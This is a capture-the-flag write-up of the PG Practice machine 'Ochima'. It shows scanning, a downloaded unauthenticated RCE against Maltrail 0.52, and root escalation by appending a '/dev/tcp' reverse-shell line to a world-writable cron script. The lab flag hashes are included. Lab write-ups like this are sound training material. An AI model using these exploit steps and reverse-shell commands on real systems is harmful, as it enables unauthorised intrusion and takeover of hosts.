Summary #
On port 8338 there is an application running called Maltrail 0.52
for which an unauthenticated RCE (https://github.com/spookier/Maltrail-v0.53-Exploit) is available and gives us initial access to the target as the snort
user. Using PSPY64 we see that the root
user runs a /var/backups/etc_Backup.sh
script every minite. Using this script we can escalate our privileges to the root
user.
Specifications #
- Name: OCHIMA
- Platform: PG PRACTICE
- Points: 10
- Difficulty: Intermediate
- OS: Linux ochima 5.15.0-88-generic #98-Ubuntu SMP Mon Oct 2 15:18:56 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
- IP address: 192.168.153.32
- OFFSEC provided credentials: None
- HASH:
local.txt
:5d39646c1aaade2fde1e8450e2b93f4d
- HASH:
proof.txt
:06819cd15a45097d29c36a35dd5baa74
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir ochima && cd ochima && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Aug 17 15:53 .
drwxrwxr-x 31 kali kali 4096 Aug 17 15:53 ..
drwxrwxr-x 2 kali kali 4096 Aug 17 15:53 enum
drwxrwxr-x 2 kali kali 4096 Aug 17 15:53 exploits
drwxrwxr-x 2 kali kali 4096 Aug 17 15:53 files
drwxrwxr-x 2 kali kali 4096 Aug 17 15:53 tools
drwxrwxr-x 2 kali kali 4096 Aug 17 15:53 uploads
## set bash variable
ip=192.168.153.32
## ping target to check if it's online
ping $ip
PING 192.168.153.32 (192.168.153.32) 56(84) bytes of data.
64 bytes from 192.168.153.32: icmp_seq=1 ttl=61 time=18.4 ms
64 bytes from 192.168.153.32: icmp_seq=2 ttl=61 time=20.3 ms
^C
--- 192.168.153.32 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1003ms
rtt min/avg/max/mdev = 18.364/19.351/20.339/0.987 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Where scanning meets swagging. π
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.153.32:22
Open 192.168.153.32:80
Open 192.168.153.32:8338
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-17 15:57 CEST
Initiating Ping Scan at 15:57
Scanning 192.168.153.32 [4 ports]
Completed Ping Scan at 15:57, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:57
Completed Parallel DNS resolution of 1 host. at 15:57, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 15:57
Scanning 192.168.153.32 [3 ports]
Discovered open port 80/tcp on 192.168.153.32
Discovered open port 22/tcp on 192.168.153.32
Discovered open port 8338/tcp on 192.168.153.32
Completed SYN Stealth Scan at 15:57, 0.05s elapsed (3 total ports)
Nmap scan report for 192.168.153.32
Host is up, received echo-reply ttl 61 (0.019s latency).
Scanned at 2025-08-17 15:57:36 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
8338/tcp open unknown syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
Raw packets sent: 7 (284B) | Rcvd: 4 (160B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
8338/tcp open unknown syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
22,80,8338
## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80,8338 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBYESg2KmNLhFh1KJaN2UFCVAEv6MWr58pqp2fIpCSBEK2wDJ5ap2XVBVGLk9Po4eKBbqTo96yttfVUvXWXoN3M=
| 256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBdIs4PWZ8yY2OQ6Jlk84Ihd5+15Nb3l0qvpf1ls3wfa
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.52 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.52 (Ubuntu)
8338/tcp open http syn-ack ttl 61 Python http.server 3.5 - 3.10
| http-methods:
|_ Supported Methods: GET POST
|_http-favicon: Unknown favicon MD5: 4F9B844EA920CCFEA291014FE8B51B6D
|_http-title: Maltrail
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Maltrail/0.52
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Access #
8338/tcp open http syn-ack ttl 61 Python http.server 3.5 - 3.10
| http-methods:
|_ Supported Methods: GET POST
|_http-favicon: Unknown favicon MD5: 4F9B844EA920CCFEA291014FE8B51B6D
|_http-title: Maltrail
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Maltrail/0.52
On port 8338 there is, as shown in the output of NMAP a service running on Maltrail, 0.52. On the internet we can find a unauthenticated RCE (https://github.com/spookier/Maltrail-v0.53-Exploit) which gives us initial access to the target as the snort
user in the /opt/maltrail-0.53
directory.
## change directory
cd exploits
## download the exploit
wget https://raw.githubusercontent.com/spookier/Maltrail-v0.53-Exploit/refs/heads/main/exploit.py
## get the local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.204/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::789b:44fc:8aea:a793/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## setup a listener
nc -lvnp 80
listening on [any] 80 ...
## run the exploit
python3 exploit.py 192.168.45.204 80 $ip:8338
Running exploit on 192.168.153.32:8338/login
## catch the reverse shell
nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.45.204] from (UNKNOWN) [192.168.153.32] 58832
$
## list current user
$ whoami
snort
## print current working directory
$ pwd
/opt/maltrail-0.53
## print `local.txt`
cat /home/snort/local.txt
5d39646c1aaade2fde1e8450e2b93f4d
Privilege Escalation #
To get a proper TTY we upgrade our shell using the script
binary.
## determine location script binary
which script
/usr/bin/script
## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null
## after this command press the `enter` key twice
stty raw -echo ; fg ; reset
## run the following to be able to clear the screen and set the terrminal correct
snort@ochima:/opt/maltrail-0.53$ export TERM=xterm
snort@ochima:/opt/maltrail-0.53$ stty columns 200 rows 200
Now, upload linpeas.sh
to the target and run it.
## change directory locally
cd uploads
## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## get local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.204/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::789b:44fc:8aea:a793/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## start local webserver
python3 -m http.server 80
## on target
## change directory
snort@ochima:/opt/maltrail-0.53$ cd /var/tmp
snort@ochima:/var/tmp$
## download `linpeas.sh`
snort@ochima:/var/tmp$ wget http://192.168.45.204/linpeas.sh
--2025-08-17 14:13:03-- http://192.168.45.204/linpeas.sh
Connecting to 192.168.45.204:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 956174 (934K) [text/x-sh]
Saving to: βlinpeas.shβ
linpeas.sh 0%[ linpeas.sh 100%[=============================================================================================================>] 933.76K 5.10MB/s in 0.2s
2025-08-17 14:13:03 (5.10 MB/s) - βlinpeas.shβ saved [956174/956174]
## set the execution bit
snort@ochima:/var/tmp$ chmod +x linpeas.sh
## run `linpeas.sh`
snort@ochima:/var/tmp$ ./linpeas.sh
The linpeas.sh
output shows there is a file 2023-12-11+12:27:50.1958901560 /var/backups/etc_Backup.sh
on which we have permissions to read/write/execute.
snort@ochima:~$ ls -la /var/backups/etc_Backup.sh
-rwxrwxrwx 1 root root 54 Dec 11 2023 /var/backups/etc_Backup.sh
So next, we download and upload pspy to the target and run it to see if there are processes running that we can abuse, probably this script. . Go to: https://github.com/DominicBreuker/pspy, click on releases
and select pspy64
. Move the file to the uploads directory, startup a local webserver and on the target, download pspy64 and run it. We then see, this script is run every minute by the root
user (UID=0). Now setup a listener and add a reverse shell command to the script and catch the reverse shell as the root
user.
## change directory
cd uploads
## move the file from the local downloads directory to the uploads directory
mv ~/Downloads/pspy64 .
## get the local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.204/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::789b:44fc:8aea:a793/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## start a local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
## on the target
## change directory
snort@ochima:~$ cd /var/tmp
snort@ochima:/var/tmp$
## download pspy64 using wget
snort@ochima:/var/tmp$ wget http://192.168.45.204/pspy64
--2025-08-17 14:28:21-- http://192.168.45.204/pspy64
Connecting to 192.168.45.204:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: βpspy64.1β
pspy64.1 0%[ pspy64.1 33%[===================================> pspy64.1 57%[==============================================================> pspy64.1 94%[================================================================================pspy64.1 100%[=============================================================================================================>] 2.96M 4.75MB/s in 0.6s
2025-08-17 14:28:21 (4.75 MB/s) - βpspy64.1β saved [3104768/3104768]
## set execution bit
snort@ochima:/var/tmp$ chmod +x pspy64
## run pspy64
snort@ochima:/var/tmp$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
ββββββ ββββββ ββββββ βββ βββ
ββββ ββββββ β ββββ ββββββ βββ
ββββ βββββ ββββ ββββ ββββ βββ βββ
βββββββ β β ββββββββββ β β βββββ
ββββ β ββββββββββββββ β β β βββββ
ββββ β ββ βββ β βββββ β β βββββ
ββ β β ββ β βββ β βββ βββ
ββ β β β ββ β β ββ
β β β
β β
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
<SNIP>
2025/08/17 14:23:01 CMD: UID=0 PID=43549 | /bin/bash /var/backups/etc_Backup.sh
## get the local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.204/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::789b:44fc:8aea:a793/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## setup listener
nc -lvnp 80
listening on [any] 80 ...
## add the reverse shell command to the script
echo "bash -i >& /dev/tcp/192.168.45.204/80 0>&1" >> /var/backups/etc_Backup.sh
## catch the reverse shell after a minute of waiting
nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.45.204] from (UNKNOWN) [192.168.153.32] 51246
bash: cannot set terminal process group (43633): Inappropriate ioctl for device
bash: no job control in this shell
root@ochima:~#
## print `proof.txt`
root@ochima:~# cat /root/proof.txt
06819cd15a45097d29c36a35dd5baa74
References #
[+]